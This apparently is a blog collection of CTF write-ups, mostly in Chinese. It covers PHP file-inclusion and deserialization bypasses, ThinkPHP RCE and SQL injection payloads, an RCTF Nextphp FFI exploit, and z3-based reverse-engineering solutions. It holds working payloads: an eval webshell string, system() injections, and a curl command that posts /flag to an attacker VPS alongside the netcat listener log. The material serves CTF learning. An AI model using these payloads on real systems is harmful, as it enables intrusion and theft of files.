    memcpy_s(a, 36, "flag{1111111111111111111111111111}\0\0", 36);

    sub_1400011C0((DWORD*)ans, -9, unk_1400032A0);
    std::cout << ans;
    return 0;
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

[HCTF 2018]WarmUp

Ctrl+U查看源码,找到source.php,发现hint.php,点进去后告诉你flag位置。
source.php:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

审计代码,只要把问号转义成%3F即可
payload

source.php%3F/../../../../ffffllllaaaagggg

[极客大挑战 2019]PHP

DirSearch 429 Too Many Requests,所以参考了别人的wp,根目录下有/www.zip
审计index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

发现有反序列化玩。
代码审计

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            // echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}

注意到,我们要绕过__wakeup
2024-07-10T07:17:33.png

1._wakeup()函数的定义:
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

2._wakeup()函数的作用:
__wakeup()方法的目的是在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。这个方法可以用来初始化一些无法在序列化字符串中保存的成员变量、建立数据库连接、重新计算缓存数据等。

4._wakeup()函数的绕过:
(1)当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}

(2)使用C绕过

使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容

注意:使用C绕过有版本要求
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                      
原文链接:https://blog.csdn.net/m0_63138919/article/details/132545718

补充一个知识点

注意:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理 如果定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会生效。

显然payload是

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[ThinkPHP]2-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
我们使用payload
http://node5.buuoj.cn:27766/index.php?s=/a/a/a/${@eval($_POST[1])}
然后蚁剑
2024-06-26T12:08:35.png
最后通过webshell,拿下env中的flag
2024-06-26T12:08:57.png

  • 注意,如果直接在payload里面写字符串,好像是过不了的。

[ThinkPHP]5-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
则payload:

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

[ThinkPHP]5.0.23-Rce

https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

2024-06-26T12:18:51.png

[ThinkPHP]IN SQL INJECTION

https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接使用给的payload就可以了
http://node5.buuoj.cn:28336/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

看一下当前目录
?a=var_dump(scandir(%22.%22));

array(2) { [0]=> string(9) "index.php" [1]=> string(11) "preload.php" }

highlight一下
index.php?a=highlight_file(%22preload.php%22);
代码审计

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

然后就没有什么头绪了,看了下别人的wp:
FFI扩展

<?php
$ffi = FFI::cdef("int system(const char *command);");    
$ffi->system("echo Hello World>./ttmp");    
echo file_get_contents("./ttmp");
//输出结果为Hello World
?>

触发条件

触发条件
如果在php配置文件中开启了ffi.enable=preload,那么FFI中opcache.preload参数指定脚本能够调用FFI,而用户写的函数是没有办法直接调用的。翻看phpinfo,也确实指定了preload.php能够调用FFI。

2024-06-26T12:57:43.png

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:4555');
[root@xnnpzy ~]# nc -vv -l -p 4445
Listening on any address 4445 (upnotifyp)
Connection from 117.21.200.176:61031
POST / HTTP/1.1
Host: ***************:4445
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

flag{bd8fa2ea-cb43-4afd-85e0-87bf4adf628c}Total received bytes: 195
Total sent bytes: 0

补充:curl -d @FILE_NAME IP:ADDR 可以读取文件FILE_NAME
2024-06-26T13:13:44.png
2024-06-26T13:13:55.png

signal

IDA 载入分析,发现是VM
2024-06-23T01:21:07.png
抄成python出来,与z3打组合技解

from z3 import *
s = Solver()
x = [BitVec(f"x{i}", 8) for i in range(15)]
vmIns = open('signal.exe', 'rb').read()[0x1e40:0x1e40+456]
Str = [0] * 1000
end = 114
v9 = 0
v4 = 0
v8 = 0
v7 = 0
v6 = 0
v5 = 0
while v9 < end:
    ins = vmIns[v9 * 4]
    if ins == 1:
        Str[v6 + 100] = v4
        v9 += 1
        v6 += 1
        v8 += 1
    elif ins == 2:
        v4 = vmIns[(v9 + 1) * 4] + Str[v8]
        v9 += 2
    elif ins == 3:
        v4 = Str[v8] - (vmIns[(v9 + 1) * 4] & 0xff)
        v9 += 2
    elif ins == 4:
        v4 = vmIns[(v9 + 1) * 4] ^ Str[v8]
        v9 += 2
    elif ins == 5:
        v4 = vmIns[(v9 + 1) * 4] * Str[v8]
        v9 += 2
    elif ins == 6:
        v9+=1
    elif ins == 7:
        print(Str[v7 + 100])
        s.add(Str[v7 + 100] == vmIns[(v9 + 1) * 4])
        v7 += 1
        v9 += 2
    elif ins == 8:
        Str[v5] = v4
        v9 += 1
        v5 += 1
    elif ins == 10:
        print("Read")
        for i, v in enumerate(x):
            # s.add(v > 0x20, v < 0x7f)
            Str[i] = v
        v9 += 1
    elif ins == 11:
        v4 = Str[v8] - 1
        v9 += 1
    elif ins == 12:
        v4 = Str[v8] + 1
        v9 += 1
    else:
        print(f"unknown insn {ins}")

print(s.check())
m = s.model()
for i in x:
    print(chr(m[i].as_long()), end ='')
'''
Read
(16 ^ x0) - 5
3*(32 ^ x1)
x2 - 2 - 1
4 ^ x3 + 1
3*x4 - 33
x5 - 1 - 1
(9 ^ x6) - 32
36 ^ 81 + x7
x8 + 1 - 1
37 + 2*x9
65 ^ 54 + x10
1*(32 + x11)
37 + 3*x12
(9 ^ x13) - 32
65 + x14 + 1
sat
757515121f3d478
'''

flag为flag{757515121f3d478}

h01k_re

把exe载入IDA,发现这些函数与反调试有关
2024-06-22T10:37:22.png

完整的检测函数

NTSTATUS sub_401990()
{
  unsigned __int8 v0; // al
  int v1; // edx
  int v2; // ecx
  NTSTATUS result; // eax
  HANDLE ProcessId; // eax
  HANDLE CurrentProcess; // eax
  HANDLE v6; // eax
  int v7; // [esp-1Ch] [ebp-44h]
  int v8; // [esp-18h] [ebp-40h]
  ULONG ReturnLength; // [esp+Ch] [ebp-1Ch] BYREF
  int ProcessInformation; // [esp+14h] [ebp-14h] BYREF
  int v11; // [esp+18h] [ebp-10h]
  WINBOOL pbDebuggerPresent; // [esp+1Ch] [ebp-Ch] BYREF
  int v13; // [esp+20h] [ebp-8h]
  int v14; // [esp+24h] [ebp-4h]

  if ( (unsigned __int8)sub_401770()
    || (unsigned __int8)sub_401820()
    || (unsigned __int8)sub_401840()
    || (unsigned __int8)sub_401860()
    || (v0 = sub_401890(), (v2 = v0) != 0) )
  {
    v14 = sub_402120();
  }
  else
  {
    v14 = 0;
  }
  v8 = v2;
  v7 = v1;
  if ( NtCurrentPeb()->BeingDebugged )
    return dword_446030(v8, v7);
  if ( NtCurrentPeb()->NtGlobalFlag )
    return dword_446030(v8, v7);
  ProcessId = CsrGetProcessId();
  if ( OpenProcess(0x400u, 0, (DWORD)ProcessId) )
    return dword_446030(v8, v7);
  CurrentProcess = GetCurrentProcess();
  if ( CheckRemoteDebuggerPresent(CurrentProcess, &pbDebuggerPresent) )
    v13 = 0;
  else
    v13 = sub_402120();
  if ( pbDebuggerPresent == 1 )
    v11 = sub_402120();
  else
    v11 = 0;
  v6 = GetCurrentProcess();
  result = NtQueryInformationProcess(v6, ProcessDebugPort, &ProcessInformation, 4u, &ReturnLength);
  if ( ProcessInformation )
    return sub_402120();
  return result;
}

分别检测下面的
NtCurrentPeb()->BeingDebugged
NtCurrentPeb()->NtGlobalFlag
CheckRemoteDebuggerPresent
NtQueryInformationProcess

除了这个,还检测VMWaresub_401890()代码如下

char sub_401890()
{
  DWORD cbData; // [esp+0h] [ebp-4Ch] BYREF
  HKEY phkResult; // [esp+4h] [ebp-48h] BYREF
  BYTE Data[64]; // [esp+8h] [ebp-44h] BYREF

  cbData = 63;
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS\\", 0, 0x20019u, &phkResult) )
  {
    RegQueryValueExA(phkResult, "SystemManufacturer", 0, 0, Data, &cbData);
    if ( strstr((const char *)Data, "VMWARE") )
    {
      RegCloseKey(phkResult);
      return 1;
    }
    RegCloseKey(phkResult);
  }
  return 0;
}

除了上面的,还有最开始的四个函数
2024-06-22T10:44:49.png
第一个会使用特权指令in来制造异常,不过try{}catch{}并没有检测到什么。我们先不看

接下来我们分析第二个:sub_401930()
2024-06-22T10:51:02.png
2024-06-22T10:55:09.png
分别会记录rdtsc的高32位和低32位
因为__rdtsc()返回一个64位整数,分别高位:edx,低位:eax
了解一下rdtsc

rdtsc指令, 该指令返回CPU自启动以来的时钟周期数;该时钟周期数,即处理器的时间戳。
在CPU通电启动后,首先会重置EDX和EAX,在每个时钟周期上升或下降沿到来时,会自动累计周期数,并被记录到EDX和EAX寄存器中,EDX是高位,EAX是低位。

rdtsc指令就是从该寄存器中进行获取的。

周期和频率的关系公式:T(周期)=1/f(频率)

如CPU频率f为1GHz,则其时钟周期T=1/1GHz秒,意味着每隔T秒(1ns),CPU完成一个最基本的动作,并在寄存器中,对周期数加1。

所以我们可以知道rdtsc的递增是非常快的,按照我的电脑的运行时CPU频率2.35GHz,可以大概知道每秒这个数字会增加2.35*10^9。
不过不是很懂cpuid在rdtsc之前运行的意思❓

下面我们看sub_401950()函数
2024-06-22T11:06:32.png
显然是接着上一个函数进行的基于时间的检测,如果单步调试就爆了。
因为检测时间差是40000000,也就是4*10^7,也就是 1/100 秒内必须执行完,单步显然会不行。
对于这些函数,我们直接在函数头ret就好了,不过要注意,这些函数并不是所有都是检测函数。

继续分析,下面就是一堆简单的逻辑了
2024-06-22T11:11:48.png
注意到是把自己读入到刚刚allocate好的内存里面,然后解密关键内容,这里直接上动态调试就OK了,静态分析没必要,因为你不需要了解算法内容(可能是AES❓)。
我们可以把解密后的东西给dump出来,是一个dll,下面的v13 = v14();调用getflag函数。
2024-06-22T11:14:05.png
如果函数返回是1,则success,否则执行__asm { syscall; Low latency system call }这个显然会造成异常。

下面开始分析DLL
找到DLL关键函数,这个前面还有几个check❓,出题人这么和反调试、虚拟机调试过不去吗😰。
其实我们只要动态调试,屏蔽掉所有异常,然后运行到程序中的v13 = v14();这个位置就好了(记得使用反反调试插件)
2024-06-22T11:16:54.png
我们终于找到了scanf的真正位置,下面是初始化了一堆数据,然后进虚拟机。
2024-06-22T11:18:50.png
动态调试,加硬件断点于第一个输入的值,这个scanf有一点奇怪,你如果输入的太长了,好像第一个位置就变成0了😰,简单打断点分析了一下,好像被填0了,不过我们不管这个,我们把第一个0改成a继续下断点就行。
2024-06-22T11:20:08.png
跑起来,第一次断在strlen,第二次就断在vm了
2024-06-22T11:32:07.png
我们把stack下硬件断点,发现对输入先进行xor 0x33
2024-06-22T11:33:26.png
继续跑,发现再进行 add 0x2
2024-06-22T11:34:00.png
继续跑,发现存在了这里
2024-06-22T11:34:47.png
然后把这个store的地方进行软件断点,把之前的硬件断点去掉,这样可以看到加密的全过程,也可以清楚知道都是xor 0x33并且之后add 0x2,对了,一定要注意,把第一个store的地方下硬件断点,因为加密后必定就是cmp检测,或者是继续加密...。
2024-06-22T11:37:32.png
果不其然,它在处理完后面的字符串后,很快地,又把刚刚第一个字符串push到了vStack上。
2024-06-22T11:38:37.png
这时我们继续传统艺能:对栈下断点,发现对第一个字节进行xor 0x36,第二个字符xor 0x48...,我们直接可以断xorTable的生成点,注意到getXorTable的地方其实也是拿字符串的地方
2024-06-22T11:43:07.png
最后我们继续下断点,找到了cmp table,写出z3脚本

from z3 import *
s = Solver()
a = bytes.fromhex("36 48 0D 23 0C 25 09 17 53 06 10 1A 24 2E 38 42".replace(' ',''))
b = bytes.fromhex("51 5f 72 69 6a 32 89 79 2b 52 52 56 4a 4d 60 12".replace(' ',''))
x = [BitVec(f"x{i}", 8) for i in range(len(a))]
for i in range(len(a)):
    s.add(((x[i] ^ 0x33) + 0x2 ) ^ a[i] == b[i])

print(s.check())
m = s.model()

for i in range(len(a)):
    print(chr(m[x[i]].as_long()), end='')
# V&N{W&M_Easy_Re}